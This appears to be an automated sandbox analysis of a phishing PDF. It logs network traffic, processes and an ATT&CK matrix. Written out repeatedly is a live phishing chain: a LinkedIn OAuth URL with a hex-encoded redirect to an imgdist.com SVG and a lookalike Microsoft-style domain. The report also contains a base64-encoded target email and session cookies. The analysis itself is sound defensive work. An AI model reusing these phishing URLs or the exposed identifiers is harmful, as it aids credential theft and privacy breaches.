Source: global traffic	HTTP traffic detected: GET /cdn-cgi/images/cf-no-screenshot-error.png HTTP/1.1Host: authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: www.linkedin.com
Source: global traffic	DNS traffic detected: DNS query: static.licdn.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: 62e04af28f.imgdist.com
Source: global traffic	DNS traffic detected: DNS query: authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org

Source: unknown

HTTP traffic detected: POST /li/track HTTP/1.1Host: www.linkedin.comConnection: keep-aliveContent-Length: 2074sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"content-type: application/jsonCsrf-Token: ajax:2542263418540269629sec-ch-ua-mobile: ?0Accept: */*Origin: https://www.linkedin.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.linkedin.com/oauth/v2/authorization?response_type=code&client_id=783n2fmzc90wlf&redirect_uri=%68%74%74%70%73%3A%2F%2F%36%32%65%30%34%61%66%32%38%66%2E%69%6D%67%64%69%73%74%2E%63%6F%6D%2F%70%75%62%6C%69%63%2F%75%73%65%72%73%2F%42%65%65%46%72%65%65%2F%62%65%65%66%72%65%65%2D%33%31%66%66%34%32%62%64%2D%39%37%38%37%2D%34%66%62%65%2D%62%65%64%34%2D%35%33%63%63%32%66%36%63%35%31%63%63%2F%67%65%6E%65%72%61%74%65%64%2E%73%76%67%3F%74%3D%59%57%31%69%5A%58%49%75%59%33%4A%31%65%6B%42%6F%63%32%4E%77%62%32%78%35%4C%6D%4E%76%62%51%3D%3D%26%3F%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PLAY_SESSION=eyJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7ImZsb3dUcmFja2luZ0lkIjoibGRpazNzQUhUOW1VQ0FrQlIxMk45Zz09In0sIm5iZiI6MTc0NDcxOTM4MiwiaWF0IjoxNzQ0NzE5MzgyfQ.20CtsIZcHK1VlzbjylEUnVj5kvgSjomOJEwp5Nv0dC8; JSESSIONID=ajax:2542263418540269629; lang=v=2&lang=en-us; bcookie="v=2&123cd882-198b-4c8a-8b7f-7f1fcd6637f3"; bscookie="v=1&202504151216220384beb1-f978-4937-8b3f-b0e20bcb28d5AQF6TatvQhxBOHKCXquYbqn_R0Bmb_-I"; lidc="b=TGST07:s=T:r=T:a=T:p=T:g=3069:u=1:x=1:i=1744719382:t=1744805782:v=2:sig=AQGnjLL1LW849mo4SMkmSlJHGk42VAmu"

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 0Server: PlayX-FS-UUID: 000632d0231e8d8011a8b9ccbb093b9aX-Li-Fabric: prod-lva1X-Content-Type-Options: nosniffReport-To: {"group":"network-errors","max_age":2592000,"endpoints":[{"url":"https://www.linkedin.com/li/rep"}],"include_subdomains":true}NEL: {"report_to":"network-errors","max_age":1296000,"success_fraction":0.00066,"failure_fraction":1,"include_subdomains":true}X-Li-Pop: prod-lva1-xX-LI-Proto: http/1.1Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODEX-LI-UUID: AAYy0CMejYARqLnMuwk7mg==Via: 1.1 varnish, 1.1 varnishAccept-Ranges: bytesAge: 0Date: Tue, 15 Apr 2025 12:16:24 GMTX-Served-By: cache-iad-kiad7000105-IAD, cache-pdk-kfty8610058-PDKX-Cache: MISS, MISSX-Cache-Hits: 0, 0X-Timer: S1744719384.044945,VS0,VE35Vary: Accept-EncodingX-CDN: FSLYAccess-Control-Allow-Origin: Timing-Allow-Origin: X-CDN-Client-IP-Version: IPV4X-CDN-Proto: HTTP1version: 57
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 15 Apr 2025 12:16:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINServer: cloudflareCF-RAY: 930b5fdbeacfbf73-ATLalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 15 Apr 2025 12:16:31 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINServer: cloudflareCF-RAY: 930b5fe60fddadb9-ATLalt-svc: h3=":443"; ma=86400

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 13.107.42.14:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.42.14:443 -> 192.168.2.16:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.22.12:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.42:443 -> 192.168.2.16:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.42:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.42:443 -> 192.168.2.16:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.42:443 -> 192.168.2.16:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.42:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.195.42:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.22.12:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.22.12:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.15.106:443 -> 192.168.2.16:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.170.91.82:443 -> 192.168.2.16:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.170.91.82:443 -> 192.168.2.16:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.162:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.162:443 -> 192.168.2.16:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.162:443 -> 192.168.2.16:49749 version: TLS 1.2

Source: classification engine

Classification label: mal56.phis.winPDF@39/53@19/202

Source: Scanned Page(s).pdf	Initial sample: https://linkedin.com/oauth/v2/authorization?response_type=code&client_id=783n2fmzc90wlf&redirect_uri=%68%74%74%70%73%3A%2F%2F%36%32%65%30%34%61%66%32%38%66%2E%69%6D%67%64%69%73%74%2E%63%6F%6D%2F%70%75%62%6C%69%63%2F%75%73%65%72%73%2F%42%65%65%46%72%65%65%2F%62%65%65%66%72%65%65%2D%33%31%66%66%34%32%62%64%2D%39%37%38%37%2D%34%66%62%65%2D%62%65%64%34%2D%35%33%63%63%32%66%36%63%35%31%63%63%2F%67%65%6E%65%72%61%74%65%64%2E%73%76%67%3F%74%3D%59%57%31%69%5A%58%49%75%59%33%4A%31%65%6B%42%6F%63%32%4E%77%62%32%78%35%4C%6D%4E%76%62%51%3D%3D%26%3F%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34
Source: Scanned Page(s).pdf	Initial sample: https://linkedin.com/oauth/v2/authorization?response_type=code&client_id=783n2fmzc90wlf&redirect_uri=%68%74%74%70%73%3a%2f%2f%36%32%65%30%34%61%66%32%38%66%2e%69%6d%67%64%69%73%74%2e%63%6f%6d%2f%70%75%62%6c%69%63%2f%75%73%65%72%73%2f%42%65%65%46%72%65%65%2f%62%65%65%66%72%65%65%2d%33%31%66%66%34%32%62%64%2d%39%37%38%37%2d%34%66%62%65%2d%62%65%64%34%2d%35%33%63%63%32%66%36%63%35%31%63%63%2f%67%65%6e%65%72%61%74%65%64%2e%73%76%67%3f%74%3d%59%57%31%69%5a%58%49%75%59%33%4a%31%65%6b%42%6f%63%32%4e%77%62%32%78%35%4c%6d%4e%76%62%51%3d%3d%26%3f%62%61%69%30%39%65%6a%67%72%79%72%7a%77%6d%76%7a%66%71%76%7a%7a%31%66%36%34%62%61%69%30%39%65%6a%67%72%79%72%7a%77%6d%76%7a%66%71%76%7a%7a%31%66%36%34

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-04-15 08-16-04-528.log

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Scanned Page(s).pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1568,i,10327146864677046670,12314437090272963477,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\msiexec.exe C:\Windows\System32\MsiExec.exe -Embedding CF9AE3508C6A95F7C6F2CF675EC0237D
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://linkedin.com/oauth/v2/authorization?response_type=code&client_id=783n2fmzc90wlf&redirect_uri=%68%74%74%70%73%3A%2F%2F%36%32%65%30%34%61%66%32%38%66%2E%69%6D%67%64%69%73%74%2E%63%6F%6D%2F%70%75%62%6C%69%63%2F%75%73%65%72%73%2F%42%65%65%46%72%65%65%2F%62%65%65%66%72%65%65%2D%33%31%66%66%34%32%62%64%2D%39%37%38%37%2D%34%66%62%65%2D%62%65%64%34%2D%35%33%63%63%32%66%36%63%35%31%63%63%2F%67%65%6E%65%72%61%74%65%64%2E%73%76%67%3F%74%3D%59%57%31%69%5A%58%49%75%59%33%4A%31%65%6B%42%6F%63%32%4E%77%62%32%78%35%4C%6D%4E%76%62%51%3D%3D%26%3F%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1568,i,10327146864677046670,12314437090272963477,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1988,i,6044711778918804006,18211425112669402926,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2004 /prefetch:3
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://linkedin.com/oauth/v2/authorization?response_type=code&client_id=783n2fmzc90wlf&redirect_uri=%68%74%74%70%73%3A%2F%2F%36%32%65%30%34%61%66%32%38%66%2E%69%6D%67%64%69%73%74%2E%63%6F%6D%2F%70%75%62%6C%69%63%2F%75%73%65%72%73%2F%42%65%65%46%72%65%65%2F%62%65%65%66%72%65%65%2D%33%31%66%66%34%32%62%64%2D%39%37%38%37%2D%34%66%62%65%2D%62%65%64%34%2D%35%33%63%63%32%66%36%63%35%31%63%63%2F%67%65%6E%65%72%61%74%65%64%2E%73%76%67%3F%74%3D%59%57%31%69%5A%58%49%75%59%33%4A%31%65%6B%42%6F%63%32%4E%77%62%32%78%35%4C%6D%4E%76%62%51%3D%3D%26%3F%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1988,i,6044711778918804006,18211425112669402926,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2004 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Scanned Page(s).pdf	Initial sample: PDF keyword /JS count = 0
Source: Scanned Page(s).pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: Scanned Page(s).pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: Scanned Page(s).pdf

Initial sample: PDF keyword obj count = 103

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Process information queried: ProcessInformation

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Process Injection	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Extra Window Memory Injection	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label
https://linkedin.com/oauth/v2/authorization?response_type=code&client_id=783n2fmzc90wlf&redirect_uri=%68%74%74%70%73%3A%2F%2F%36%32%65%30%34%61%66%32%38%66%2E%69%6D%67%64%69%73%74%2E%63%6F%6D%2F%70%75%62%6C%69%63%2F%75%73%65%72%73%2F%42%65%65%46%72%65%65%2F%62%65%65%66%72%65%65%2D%33%31%66%66%34%32%62%64%2D%39%37%38%37%2D%34%66%62%65%2D%62%65%64%34%2D%35%33%63%63%32%66%36%63%35%31%63%63%2F%67%65%6E%65%72%61%74%65%64%2E%73%76%67%3F%74%3D%59%57%31%69%5A%58%49%75%59%33%4A%31%65%6B%42%6F%63%32%4E%77%62%32%78%35%4C%6D%4E%76%62%51%3D%3D%26%3F%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34	0%	Avira URL Cloud	safe
https://www.linkedin.com/li/track	0%	Avira URL Cloud	safe
https://static.licdn.com/sc/h/35397qx3weze575afrgy8jbkj	0%	Avira URL Cloud	safe
https://static.licdn.com/sc/h/3m4lyvbs6efg8pyhv7kupo6dh	0%	Avira URL Cloud	safe
https://static.licdn.com/sc/h/6uvbu98hl3odicpkxfj7uwnuh	0%	Avira URL Cloud	safe
https://static.licdn.com/sc/h/b9d2ioq59rc8u5l3n2c017zz	0%	Avira URL Cloud	safe
https://static.licdn.com/sc/h/9sy73bkb829663kxb6g04uafc	0%	Avira URL Cloud	safe
https://static.licdn.com/sc/p/com.linkedin.oauth-fe%3Aoauth-fe-static-content%2B4.0.1495/f/%2Foauth-frontend%2Fartdeco%2Fstatic%2Fimages%2Ficons.svg	0%	Avira URL Cloud	safe
https://static.licdn.com/scds/common/u/lib/fizzy/fz-1.3.8-min.js	0%	Avira URL Cloud	safe
https://static.licdn.com/sc/h/bd4wlgg9kzz4u85nas4duu0py	0%	Avira URL Cloud	safe
https://authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org/cdn-cgi/images/cf-no-screenshot-error.png	0%	Avira URL Cloud	safe
https://authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org/cdn-cgi/images/browser-bar.png?1376755637	0%	Avira URL Cloud	safe
https://authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org/favicon.ico	0%	Avira URL Cloud	safe
https://62e04af28f.imgdist.com/public/users/BeeFree/beefree-31ff42bd-9787-4fbe-bed4-53cc2f6c51cc/generated.svg?t=YW1iZXIuY3J1ekBoc2Nwb2x5LmNvbQ==&?bai09ejgryrzwmvzfqvzz1f64bai09ejgryrzwmvzfqvzz1f64&error=invalid_request&error_description=You+need+to+pass+the+%22scope%22+parameter	0%	Avira URL Cloud	safe
https://authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org/cdn-cgi/styles/cf.errors.css	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
linkedin.map.fastly.net	151.101.131.42	true	false	high
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
e8652.dscx.akamaiedge.net	23.60.85.50	true	false	high
ln-0002.ln-msedge.net	150.171.22.12	true	false	high
www.google.com	142.251.15.106	true	false	high
authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org	104.21.21.162	true	false	unknown
62e04af28f.imgdist.com	3.170.91.82	true	true	unknown
static.licdn.com	unknown	unknown	false	high
x1.i.lencr.org	unknown	unknown	false	high
www.linkedin.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org/cdn-cgi/images/cf-no-screenshot-error.png	false	Avira URL Cloud: safe	unknown
https://www.linkedin.com/oauth/v2/authorization?response_type=code&client_id=783n2fmzc90wlf&redirect_uri=%68%74%74%70%73%3A%2F%2F%36%32%65%30%34%61%66%32%38%66%2E%69%6D%67%64%69%73%74%2E%63%6F%6D%2F%70%75%62%6C%69%63%2F%75%73%65%72%73%2F%42%65%65%46%72%65%65%2F%62%65%65%66%72%65%65%2D%33%31%66%66%34%32%62%64%2D%39%37%38%37%2D%34%66%62%65%2D%62%65%64%34%2D%35%33%63%63%32%66%36%63%35%31%63%63%2F%67%65%6E%65%72%61%74%65%64%2E%73%76%67%3F%74%3D%59%57%31%69%5A%58%49%75%59%33%4A%31%65%6B%42%6F%63%32%4E%77%62%32%78%35%4C%6D%4E%76%62%51%3D%3D%26%3F%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34	true		unknown
